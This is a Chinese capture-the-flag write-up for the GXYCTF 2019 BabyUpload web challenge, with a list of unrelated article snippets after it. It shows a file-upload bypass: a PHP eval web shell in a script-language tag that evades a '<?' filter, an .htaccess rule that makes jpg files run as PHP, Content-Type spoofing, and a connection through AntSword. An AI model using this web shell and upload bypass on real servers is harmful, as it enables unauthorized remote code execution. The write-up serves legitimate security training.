首页 > 其他分享 >[GXYCTF 2019]BabyUpload

[GXYCTF 2019]BabyUpload

时间:2023-08-13 23:11:06浏览次数:47  
标签:题目 BabyUpload 2019 php 上传 GXYCTF

[GXYCTF 2019]BabyUpload

题目来源:nssctf

题目类型:web

涉及考点:文件上传

1. 题目要求直接传马,先试试`muma.php`

  • 不行,再试试muma.jpg
  • 提示说明一句话木马内不能有php标志(即<?),我们看看响应标头,使用的是php5.6.23
image-20230813092548038

因此可以构造<script language='php'>eval($_POST['r00ts']);</script>传入:

上传成功,接下来考虑解析

2. 上传.htaccess文件

有关.htaccess文件详见:[SWPUCTF 2021 新生赛]easyupload3.0

文件内容如下:

<FilesMatch "jpg">

  SetHandler application/x-httpd-php

</FilesMatch>
  • 直接传入的话回显如下:
  • 需要利用bp抓包,修改Content-Type:image/jpeg
  • 最后用蚁剑连接,在根目录下发现flag:
NSSCTF{2e3f9020-1e52-464b-b1ea-ea95736796c6}

日期:2023.8.13

作者:y0Zero

标签:题目,BabyUpload,2019,php,上传,GXYCTF
From: https://www.cnblogs.com/bkofyZ/p/17627483.html

相关文章

  • VS2019编译CloudCompare2.12.4
    参考:https://blog.csdn.net/pingfanderen5/article/details/1261800821.VisualStudio2019对应v142工具2.安装QT,qt5.14.2及以前的版本存在下载包,下载地址:http://download.qt.io/ ,但是5.14.2只能支持到VS2017。 所以采用在线安装的方式安装qt5.15.2版本 源码准......
  • [NISACTF 2022]babyupload
    [NISACTF2022]babyupload题目来源:nssctf题目类型:web涉及考点:文件上传1.题目说传一个图片文件,那我们传个muma.jpg看看但是上传失败:回去检查一下源代码,发现有/source直接访问下载了一个压缩文件,解压之后是一个py文件,随后进行代码审计2.代码审计fromflaskimportFl......
  • VS2019 C++ 调用python函数/类对象的方法
    1.环境配置VS工程配置要和python一致,安装的python如果是64位的,工程配置也要选成64位的在工程配置中添加包含目录和库目录,添加python环境目录里的include和libs文件夹路径。想要运行的keras-yolo3是在Anaconda中配置的环境,所以相应的文件夹路径可以在Anaconda的环境文件中......
  • ApacheCN 捐赠名单 2019
    这是ApacheCN的捐赠名单,不是龙哥盟博客的(关于ApacheCN)。最新的名单请见https://home.apachecn.org/donate/。捐赠者金额(元)时间收入类型L*g8.002019-12-25个人赞助A*x20.002019-12-17个人赞助E*c1.002019-12-16个人赞助*雅1.002019-12-09个人赞助*一1.002019-11-27个人赞助*春......
  • 人工智能/数据科学比赛汇总 2019.9
    Github:iphysresearch/DataSciComp本项目由ApacheCN强力支持。微博|知乎|简书|全球数据智能大赛(2019)——“数字人体”赛场一:肺部CT多病种智能诊断https://tianchi.aliyun.com/competition/entrance/231724/6月24-9月09,2019//Hostby天池//Prize:$900,000Note:......
  • ApacheCN 活动汇总 2019.7.19
    组织任务翻译校对活动MIT18.03写给初学者的微积分【校对】参与方式:https://github.com/apachecn/calc4b-zh/blob/master/CONTRIBUTING.md整体进度:https://github.com/apachecn/calc4b-zh/issues/1项目仓库:https://github.com/apachecn/calc4b-zh认领:9/74,校对:0/74章节贡献者进度第......
  • ApacheCN 活动汇总 2019.7.12
    翻译校对活动UIUCCS241系统编程中文讲义【校对】参与方式:https://github.com/apachecn/uiuc-cs241-notes-zh/blob/master/CONTRIBUTING.md整体进度:https://github.com/apachecn/uiuc-cs241-notes-zh/issues/1项目仓库:https://github.com/apachecn/uiuc-cs241-notes-zh认领:1/78,校......
  • sql server 2019安装后没有找到management studio?
    1、背景:刚到公司报道,sqlserver已经帮我安装好了,可是我一查,咦惹?我的管理工具呢?咋打开怎么查询sql呢?2、检查过程:sql相关服务都启动了。3、原因:原来是SSMS是一个单独的组件了,不再和SQL Serve捆绑安装了。4、解决方案:去官方下载一个tool,安装以后即可解决。  安装成功以后。......
  • P5319 [BJOI2019] 奥术神杖
    原题虽然不会AC自动机,但这题的前半部分解法让我小小的震撼了由于本人水平有限,所以这里只说前半部分思路我们发现答案\(ans=\sqrt[c]{\prod_{i=1}^{c}{w_i}}\),其中这个\(\sqrt[c]{}\)是很不好算的我们可以把这个柿子写成这个形式:\(ans=(\prod_{i=1}^{c}{w_i})^{\frac{1}{c}}\)......
  • SQL SERVER 2019 数据库还原测试库的方法
    1、备份正式库数据2、在其它电脑上还原备份的数据库 不需要覆盖其它数据库,直接还原出数据库还原时修改文件名和数据库名称: 修改文件名称      还原成功......